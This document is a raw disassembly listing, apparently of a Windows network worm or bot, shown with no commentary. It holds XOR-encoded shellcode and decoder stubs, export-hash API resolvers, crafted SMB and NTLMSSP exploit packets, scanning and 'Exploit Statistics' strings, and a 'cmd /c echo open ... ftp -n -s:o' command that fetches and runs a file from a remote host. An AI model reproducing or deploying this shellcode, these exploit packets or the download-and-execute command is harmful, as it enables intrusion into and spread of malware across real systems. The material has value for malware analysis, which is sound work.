dd 2480000h, 3 dup(0)
dd 1980000h, 4 dup(0)
dd 177h, 4 dup(0)
dd 0EAh, 3 dup(0)
dd 2000000h, 3 dup(0)
dd 1F90000h, 3 dup(0)
dd 365h, 3 dup(0)
dd 25E0000h, 3 dup(0)
dd 4E0000h, 5 dup(0)
dd 314h, 2 dup(0)
dd 15D0000h, 3 dup(0)
dd 0B2h, 6 dup(0)
dd 30Eh, 4 dup(0)
dd 1560000h, 5 dup(0)
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 1, 2 dup(0)
align 10h
dd 389h, 4 dup(0)
dd 26B0000h, 5 dup(0)
dd 10Ch, 4 dup(0)
dd 13Ah, 4 dup(0)
dd 351h, 4 dup(0)
dd 27Ch, 2 dup(0)
dd 16C0000h, 4 dup(0)
dd 1DFh, 3 dup(0)
dd 7Ch, 2 dup(0)
dd 13B0000h, 5 dup(0)
dd 3Dh, 2 dup(0)
dd 385h, 4 dup(0)
dd 5A0000h, 3 dup(0)
dd 2640000h, 2 dup(0)
dd 1FA0000h, 5 dup(0)
dd 1D6h, 3 dup(0)
dd 13F0000h, 4 dup(0)
dd 352h, 3 dup(0)
dd 2060000h, 2 dup(0)
dd 20C0000h, 2 dup(0)
dd 2CC0000h, 2 dup(0)
dd 2100000h, 3 dup(0)
dd 1D8h, 5 dup(0)
dd 1BE0000h, 3 dup(0)
dd 1AF0000h, 4 dup(0)
dd 108h, 3 dup(0)
dd 1DE0000h, 3 dup(0)
dd 150h, 5 dup(0)
dd 20A0000h, 3 dup(0)
dd 208h, 2 dup(0)
dd 3780000h, 3 dup(0)
dd 375h, 3 dup(0)
dd 22Ch, 3 dup(0)
dd 29Dh, 3 dup(0)
dd 2120000h, 2 dup(0)
dd 2AB0000h, 2 dup(0)
dd 23A0000h, 3 dup(0)
dd 23B0000h, 3 dup(0)
dd 0FC0000h, 2 dup(0)
dd 0F50000h, 2 dup(0)
dd 18Bh, 2 dup(0)
dd 310h, 3 dup(0)
dd 3620000h, 6 dup(0)
dd 0ED0000h, 6 dup(0)
dd 0EEh, 5 dup(0)
dd 14D0000h, 5 dup(0)
dd 14F0000h, 6 dup(0)
dd 319h, 3 dup(0)
dd 1B10000h, 3 dup(0)
dd 15E0000h, 3 dup(0)
dd 33Dh, 6 dup(0)
dd 2290000h, 3 dup(0)
dd 2260000h, 3 dup(0)
dd 1B20000h, 4 dup(0)
dd 1B5h, 3 dup(0)
dd 32C0000h, 3 dup(0)
dd 0E50000h, 4 dup(0)
dd 3050000h, 3 dup(0)
dd 340000h, 4 dup(0)
dd 35h, 3 dup(0)
dd 3080000h, 1A7h dup(0)
dword_419000 dd 0 ; DATA XREF: sub_40D118+1Fo
dd offset sub_402951
dd offset sub_4163F4
dword_41900C dd 0 ; DATA XREF: sub_40D118+1Ao
dword_419010 dd 0 ; DATA XREF: sub_40D118+10o
dd offset sub_40C212
dd offset sub_412403
dd offset sub_4133A7
dd offset sub_413D82
dword_419024 dd 0 ; DATA XREF: sub_40D118:loc_40D123o
dword_419028 dd 0 ; DATA XREF: sub_40D167+65o
dd offset sub_41344C
dword_419030 dd 0 ; DATA XREF: sub_40D167:loc_40D1C7o
dword_419034 dd 0 ; DATA XREF: sub_40D167+76o
dd offset sub_413D93
dword_41903C dd 0 ; DATA XREF: sub_40D167:loc_40D1D8o
dword_419040 dd 682D61h, 0 ; DATA XREF: sub_40154B+FAo
db 2 dup(0)
word_41904A dw 5341h ; DATA XREF: .nsp0:00402FC0o
dd 2D312E4Eh, 50545448h, 5 dup(0)
dword_419068 dd 50h ; DATA XREF: sub_401000+1Er
; sub_406BAB+1865r ...
off_41906C dd offset sub_4023B8 ; DATA XREF: sub_40154B+17Cr
dword_419070 dd 0 ; DATA XREF: sub_401000+2Eo
; sub_4023B8+1BCr ...
dword_419074 dd 1 ; DATA XREF: sub_401141+1Er
dd 1, 32682D61h, 0
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 4023B8h, 0
dd 2 dup(1), 33682D61h, 0
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 4023B8h, 0
dd 2 dup(1), 3174656Eh, 0
dd 654E0000h, 69706174h, 3933312Dh, 5 dup(0)
dd 8Bh, 402F69h, 0
dd 2 dup(1), 3274656Eh, 0
dd 654E0000h, 69706174h, 3534342Dh, 5 dup(0)
dd 1BDh, 402F69h, 0 ; CODE XREF: sub_4191AA:loc_4191BFj
dd 2 dup(1), 0Fh dup(0)
; ---------------------------------------------------------------------------
jmp short loc_4191BA
; =============== S U B R O U T I N E =======================================
sub_4191AA proc near ; CODE XREF: sub_4191AA:loc_4191BAp
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_4191B2: ; CODE XREF: sub_4191AA+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4191B2
jmp short loc_4191BF
; ---------------------------------------------------------------------------
loc_4191BA: ; CODE XREF: .nsp0:004191A8j
call sub_4191AA
loc_4191BF: ; CODE XREF: sub_4191AA+Ej
jo short near ptr dword_419158+2
cwde
cdq
cdq
retn
sub_4191AA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_401000+81o
align 4
aSD_0 db ' %s: %d,',0 ; DATA XREF: sub_401000+42o
align 4
unk_419348 db 1Fh ; DATA XREF: sub_401000+11o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_41936C db 1Fh ; DATA XREF: sub_4010CA+42o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aScanNotActive_ db ' Scan not active.',0
align 4
dword_41938C dd 273021Fh, 6E61631Fh, 2BB0220h, 754320BBh, 6E657272h
; DATA XREF: sub_4010CA+2Co
dd 50492074h, 7325203Ah, 2Eh
dword_4193AC dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_401141+259o
aFailedToStartS db ' Failed to start server, error: <%d>.',0
align 10h
dword_4193E0 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_401141+1FBo
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
unk_419420 db 1Fh ; DATA XREF: sub_401141+138o
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 8
unk_419458 db 1Fh ; DATA XREF: sub_401141+D8o
; sub_406BAB+2CB3o
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_401412+38o
; sub_405752+46o
unk_4194A8 db 1Fh ; DATA XREF: sub_401704+1E0o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
unk_4194E8 db 1Fh ; DATA XREF: sub_401704+168o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToStartW db ' Failed to start worker thread, error: <%d>.',0
align 4
unk_419524 db 1Fh ; DATA XREF: sub_401704+103o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_41955C db 1Fh ; DATA XREF: sub_401704+87o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 8
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_401BC7+B2o
align 4
dword_4195A4 dd 10FF8h, 0 ; DATA XREF: sub_401BC7+6Ao
dword_4195AC dd 10FF8h ; DATA XREF: sub_401BC7+79o
dword_4195B0 dd 7FFDF020h, 0 ; DATA XREF: sub_401BC7+162o
dword_4195B8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_401FE1+78o
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_419640 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401FE1+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_419670 dd 0 ; DATA XREF: sub_401FE1+44o
dd 800000D4h, 2 dup(0)
unk_419680 db 81h ; ; DATA XREF: sub_4020C0+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_4196D0 db 41h ; DATA XREF: sub_40215E+108r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 8
; =============== S U B R O U T I N E =======================================
sub_419718 proc near ; DATA XREF: sub_4023B8+82o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_419814
push dword ptr [esi]
push 63D61209h
call sub_41982A
mov [esi+8], eax
call sub_4197DD
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_41982A
mov [esi+0Ch], eax
call sub_41978F
push dword ptr [esi+4]
push 4C0297FAh
call sub_41982A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_419718 endp
; =============== S U B R O U T I N E =======================================
sub_41978F proc near ; CODE XREF: sub_419718+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4197B8
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_41978F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4197B8 proc near ; CODE XREF: sub_41978F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4197C7: ; CODE XREF: sub_4197B8+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4197D4
inc ebx
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_4197D4: ; CODE XREF: sub_4197B8+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4197B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4197DD proc near ; CODE XREF: sub_419718+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4197F5: ; CODE XREF: sub_4197DD+1Ej
cmp [ecx], ebx
jz short loc_4197FD
mov ecx, [ecx]
jmp short loc_4197F5
; ---------------------------------------------------------------------------
loc_4197FD: ; CODE XREF: sub_4197DD+1Aj
mov edx, edi
loc_4197FF: ; CODE XREF: sub_4197DD+2Aj
cmp [edx+4], ebx
jz short loc_419809
mov edx, [edx+4]
jmp short loc_4197FF
; ---------------------------------------------------------------------------
loc_419809: ; CODE XREF: sub_4197DD+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4197DD endp
; =============== S U B R O U T I N E =======================================
sub_419814 proc near ; CODE XREF: sub_419718+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_419814 endp
; =============== S U B R O U T I N E =======================================
sub_41982A proc near ; CODE XREF: sub_419718+16p
; sub_419718+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_419840: ; CODE XREF: sub_41982A+33j
jecxz short loc_41987A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_41984D: ; CODE XREF: sub_41982A+2Dj
lodsb
cmp al, ah
jz short loc_419859
ror edi, 0Dh
add edi, eax
jmp short loc_41984D
; ---------------------------------------------------------------------------
loc_419859: ; CODE XREF: sub_41982A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_419840
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_41987A: ; CODE XREF: sub_41982A:loc_419840j
; sub_41982A:loc_41987Aj
jmp short loc_41987A
sub_41982A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419880 proc near ; DATA XREF: sub_4023B8+30o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_4198D2
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_41989D: ; CODE XREF: sub_419880+38j
jecxz short loc_4198CD
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_4198A8: ; CODE XREF: sub_419880+32j
lodsb
test al, al
jz short loc_4198B4
ror edx, 0Dh
add edx, eax
jmp short loc_4198A8
; ---------------------------------------------------------------------------
loc_4198B4: ; CODE XREF: sub_419880+2Bj
cmp edx, [esp+arg_0]
jnz short loc_41989D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_4198CD: ; CODE XREF: sub_419880:loc_41989Dj
mov [esp+arg_0], ebx
retn
sub_419880 endp
; =============== S U B R O U T I N E =======================================
sub_4198D2 proc near ; CODE XREF: sub_419880+7p
; FUNCTION CHUNK AT 0041990A SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_4198EB
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_4198F6
; ---------------------------------------------------------------------------
loc_4198EB: ; CODE XREF: sub_4198D2+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_4198F6: ; CODE XREF: sub_4198D2+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_41990A
sub_4198D2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4198FD proc near ; CODE XREF: sub_4198D2:loc_41990Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_4198FD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4198D2
loc_41990A: ; CODE XREF: sub_4198D2+29j
call sub_4198FD
loc_41990F: ; DATA XREF: sub_401B6C+1Bo
; sub_406BAB+74Ao
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_4198D2
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_419914 dd 60h ; DATA XREF: sub_401BC7+320o
dword_419918 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_401BC7+2F5o
dword_419924 dd 30h ; DATA XREF: sub_401BC7+2CAo
; .nsp0:0041C3FCo
dword_419928 dd 0A1h ; DATA XREF: sub_401BC7+29Fo
dword_41992C dd 3 ; DATA XREF: sub_401BC7+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_401BC7+153o
align 4
loc_419938: ; DATA XREF: sub_401BC7+E8o
jmp short near ptr dword_419940
; ---------------------------------------------------------------------------
align 10h
dword_419940 dd 2 dup(0) ; CODE XREF: .nsp0:loc_419938j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: sub_4023B8+57o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 10h
aB: ; DATA XREF: sub_402972+ADo
unicode 0, <>
dw 4400h
aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0
align 10h
dword_419A00 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+CEo
dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0)
dword_419A60 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+E8o
dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0 db 'Windows 2000 5.0',0
dd 2 dup(0)
dword_419B18 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+102o
dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
jno short loc_419C16
mov ecx, 484962Fh
retf 0EE65h
; ---------------------------------------------------------------------------
dw 0DAFBh
db 0CEh ;
db 9Eh, 0AFh, 28h
db 8Eh ;
db 0EEh, 7Ah, 54h
db 69h ; i
db 85h, 28h, 57h
db 0
db 4Fh, 0, 52h
db 0
db 4Bh, 0, 53h
db 0
dd offset loc_410051+3
dd offset dword_490054
db 4Fh, 0, 4Eh
db 0
db 31h, 0, 57h
aIndows20002195 db 'indows 2000 2195',0
aWindows20005_1 db 'Windows 2000 5.0',0
align 10h
dword_419C10 dd 3A000000h ; DATA XREF: sub_402972+119o
db 0FFh, 53h
; ---------------------------------------------------------------------------
loc_419C16: ; CODE XREF: .nsp0:00419BBCj
dec ebp
inc edx
jnz short $+2
; ---------------------------------------------------------------------------
dw 0
dd 20011800h, 3 dup(0)
dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_419C50 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+130o
dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0)
dword_419CB8 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+14Ao
dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_419D50 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+164o
; sub_402972+1DAo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 6B001F00h, 14C658Ch, 0
dd 1000000h, 0
dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h
dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h
dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h
dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh
dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0
dword_419EB0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+17Eo
; sub_402972+1F4o
dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h
dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h
dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
align 10h
dword_41A010 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+198o
; sub_402972+20Eo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h
dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h
dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
dd 0
dd 1000000h, 0
dd 0AD91A700h, 2 dup(0)
dword_41A170 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+1AFo
; sub_402972+225o
dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch
dd 100200h, 1C0000h, 0
dd 40000h, 0
dd 1Fh, 2 dup(0)
unk_41A1E0 db 81h ; ; DATA XREF: sub_402972+283o
db 2 dup(0), 44h
aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0
align 10h
dword_41A230 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+2A4o
dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0)
dword_41A290 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+2BEo
dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2 db 'Windows 2000 5.0',0
dd 2 dup(0)
dword_41A348 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+2D8o
dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 0A3h
db 9Eh ;
db 5Eh, 9Bh, 4
db 57h ; W
db 0E3h, 15h, 0B7h
db 6Fh ; o
db 44h, 0E9h, 1Eh
db 49h ; I
db 0FEh, 0C0h, 0BEh
db 0E9h ;
db 0A6h, 0A7h, 7Fh
aPmiw db 'pmiW',0
aO_0 db 'O',0
aR_0 db 'R',0
aK_0 db 'K',0
aS_1 db 'S',0
dd offset loc_410051+3
dd offset dword_490054
db 4Fh, 0, 4Eh
db 0
db 31h, 0, 57h
aIndows200021_0 db 'indows 2000 2195',0
aWindows20005_3 db 'Windows 2000 5.0',0
align 10h
dword_41A440 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+2EFo
